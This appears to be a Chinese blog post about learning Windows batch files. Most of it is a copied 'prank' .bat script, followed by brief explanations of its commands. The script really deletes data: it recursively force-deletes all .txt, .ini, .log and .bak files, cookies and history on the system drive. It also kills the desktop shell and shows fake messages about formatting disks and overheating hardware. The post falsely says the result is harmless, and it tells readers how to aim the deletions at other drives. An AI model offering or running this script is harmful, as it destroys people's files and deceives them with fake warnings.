在网上看到一个恶搞的bat文件代码,开始并不知道bat文件是啥。bat文件是dos下的批处理文件。批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。
在DOS下有许多有意思的命令,这里一个网上抄到的一个恶搞的代码,开始我的bat文件的学习,恶搞代码如下:
@echo off
?color 4f
?taskkill /im explorer.exe /f
?echo 删除C盘所有文件……
?del /f /s /q \”%systemdrive%\\*.tmp\”
?del /f /s /q \”%systemdrive%\\*.dmp\”
?del /f /s /q \”%systemdrive%\\*._mp\”
?del /f /s /q \”%systemdrive%\\*.gid\”
?del /f /s /q \”%systemdrive%\\*.old\”
?del /f /s /q \”%systemdrive%\\*.chk\”
?del /f /s /q \”%systemdrive%\\*.bak\”
?del /f /s /q \”%systemdrive%\\*.log\”
?del /f /s /q \”%systemdrive%\\*.txt\”
?del /f /s /q \”%systemdrive%\\*.ini\”
?del /f /s /q \”%systemdrive%\\Recycled\\*.*\”
?del /f /s /q \”%systemdrive%\\RECYCLER\\*.*\”
?del /f /s /q \”%windir%\\inf\\*.pnf\”
?del /f /s /q \”%windir%\\Prefetch\\*.*\”
?@ping -n 2 127.1>nul
?rd /s /q \”%windir%\\Downloaded Program Files\” & md \”%windir%\\Downloaded Program Files\”
?@ping -n 2 127.1>nul
?rd /s /q \”%windir%\\LastGood\” & md \”%windir%\\LastGood\”
?@ping -n 2 127.1>nul
?rd /s /q \”%windir%\\Offline Web Pages\” & md \”%windir%\\Offline Web Pages\”
?@ping -n 2 127.1>nul
?rd /s /q \”%windir%\\SoftwareDistribution\\Download\” & md \”%windir%\\SoftwareDistribution\\Download\”
?@ping -n 2 127.1>nul
?rd /s /q \”%windir%\\temp\” & md \”%windir%\\temp\”
?@ping -n 2 127.1>nul
?rd /s /q \”%userprofile%\\Local Settings\\Application Data\\Microsoft\\Media Player\” & md \”%windir%\\Local Settings\\Application Data\\Microsoft\\Media Player\”
?@ping -n 2 127.1>nul
?rd /s /q \”%userprofile%\\UserData\” & md \”%windir%\\UserData\”
?@ping -n 2 127.1>nul
?rd /s /q \”%appdata%\\Adobe\” & md \”%windir%\\Adobe\”
?@ping -n 2 127.1>nul
?rd /s /q \”%appdata%\\Macromedia\” & md \”%windir%\\Macromedia\”
?@ping -n 2 127.1>nul
?rd /s /q \”%appdata%\\Microsoft\\Media Player\” & md \”%windir%\\Microsoft\\Media Player\”
?@ping -n 2 127.1>nul
?rd /s /q \”%appdata%\\Microsoft\\Office\\Recent\” & md \”%windir%\\Microsoft\\Office\\Recent\”
?@ping -n 5 127.1>nul
?del /a /f /s /q \”%userprofile%\\Cookies\\*.*\”
?del /a /f /s /q \”%userprofile%\\Recent\\*.*\”
?del /a /f /s /q \”%userprofile%\\Local Settings\\Application Data\\GDIPFONTCACHEV1.dat\”
?del /a /f /s /q \”%userprofile%\\Local Settings\\Application Data\\IconCache.db\”
?del /a /f /s /q \”%userprofile%\\Local Settings\\History\\*.*\”
?del /a /f /s /q \”%userprofile%\\Local Settings\\Temporary Internet Files\\*.*\”
?del /a /f /s /q \”%temp%\\*.*\” del /a /f /s /q \”%userprofile%\\AppData\\Local\\GDIPFONTCACHEV1.dat\”
?del /a /f /s /q \”%userprofile%\\AppData\\Local\\IconCache.db\”
?del /a /f /s /q \”%userprofile% \\AppData\\Local\\Microsoft\\Windows\\History\\*.*\”
?del /a /f /s /q \”%userprofile% \\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*.*\”
?del /a /f /s /q \”%userprofile% \\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*.*\”
?del /a /f /s /q \”%userprofile% \\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*\”
?echo 已删除完毕
?@echo.
?echo 删除D盘所有文件……
?@ping -n 3 127.1>nul
?@echo 已删除完毕
?@echo.
?echo 删除E盘所有文件……
?@ping -n 3 127.1>nul
?echo 已删除完毕
?@echo.
?echo 正在低级格式化全部硬盘……
?@ping -n 3 127.1>nul
?echo.
?echo 正在 进行二次 低格硬盘……
?ping -n 3 127.1>nul
?echo.
?echo 正在 进行三次 低格硬盘……
?ping -n 3 127.1>nul
?echo.
?echo 正在 进行四次 低格硬盘……
?ping -n 3 127.1>nul
?echo.
?echo 正在 进行五次 低格硬盘……
?ping -n 3 127.1>nul
?echo.
?echo 注意: cpu温度127度!温度过高报警!!!
?echo.
?ping -n 2 127.1>nul
?echo 注意: 硬盘温度86度!温度过高报警!!!
?echo.
?ping -n 2 127.1>nul
?echo 注意: 显卡温度96度!温度过高报警!!!
?echo.
?ping -n 2 127.1>nul
?echo 注意: 系统崩溃, 主板温度 超过临界值!!! echo.
?echo 注意: 电容负荷超过99% echo. & pause
?echo 电脑将在60秒内崩溃或爆炸!请勿强行关闭电源!否则会 导致cpu和硬盘彻底损毁!!
?shutdown /r /t 60 /c \”电脑将在60秒内崩溃或爆炸!请勿强行关闭电源!否则会 导致cpu和硬盘彻底损毁!!\”
?ping -n 30 127.1>nul
?shutdown -a
?start explorer.exe
?exit
通过对这些命令和一些参数去cmd下查看帮助(cmd下输入命令 /? 即可看到详细注意和对应的参数列表),不过这里还是有一些不太了解的知识要去整理。
color 4f :2个16进制数,一个代表背景,一个代表字的颜色。
taskkill /im explorer.exe /f:explorer.exe是Windows程序管理器或者文件资源管理器,它用于管理Windows图形壳,包括桌面和文件管理,删除该程序会导致Windows图形界面无法使用。(如果结束了可以利用任务管理器单击【文件】菜单中的【新建任务(运行……)】命令,打开【创建新任务】对话框,键入【explorer.exe】,单击【确定】按钮,或者,cmd下运行start explorer.exe均可再次创建该进程)
del /f /s /q \”%systemdrive%\\*.tmp\” :%systemdrive% 代表系统盘,通常为C:\\
*.tmp 所有的临时文件,*是通配符,tmp是临时文件的扩展名。命令执行的结果就是删除系统盘所有的临时文件。想删别的盘的文件,把%systemdrive%\\改成别的盘符,如D:\\等等。
?????del /f /s /q \”%windir%\\inf\\*.pnf\” :%Windir%是一个变量,它指的是操作系统安装目录,默认是:“C:\\Windows”或:“c:\\Winnt”,?
ping -n 2 127.1>nul :-n后面定义发送数据包的数量活动:慈云数据爆款香港服务器,CTG+CN2高速带宽、快速稳定、平均延迟10+ms 速度快,免备案,每月仅需19元!! 点击查看,127.0.0.1是一个本机ip,不管是否有连网,只要电脑上有网卡这个ip就存在,常有人用这个ping命令来测试网卡是否完好,127.1是化简版本
pause,即和system(“pause”)按任意键继续,以及最后的shutdown命令的使用,和start 创建一个进程,最后exit。因此运行以上脚本的结果应该是一阵恶搞之后恢复正常情况。?
?
44421214
《bat文件好玩的命令,bat文件编程》来自互联网同行内容,若有侵权,请联系我们删除!
还没有评论,来说两句吧...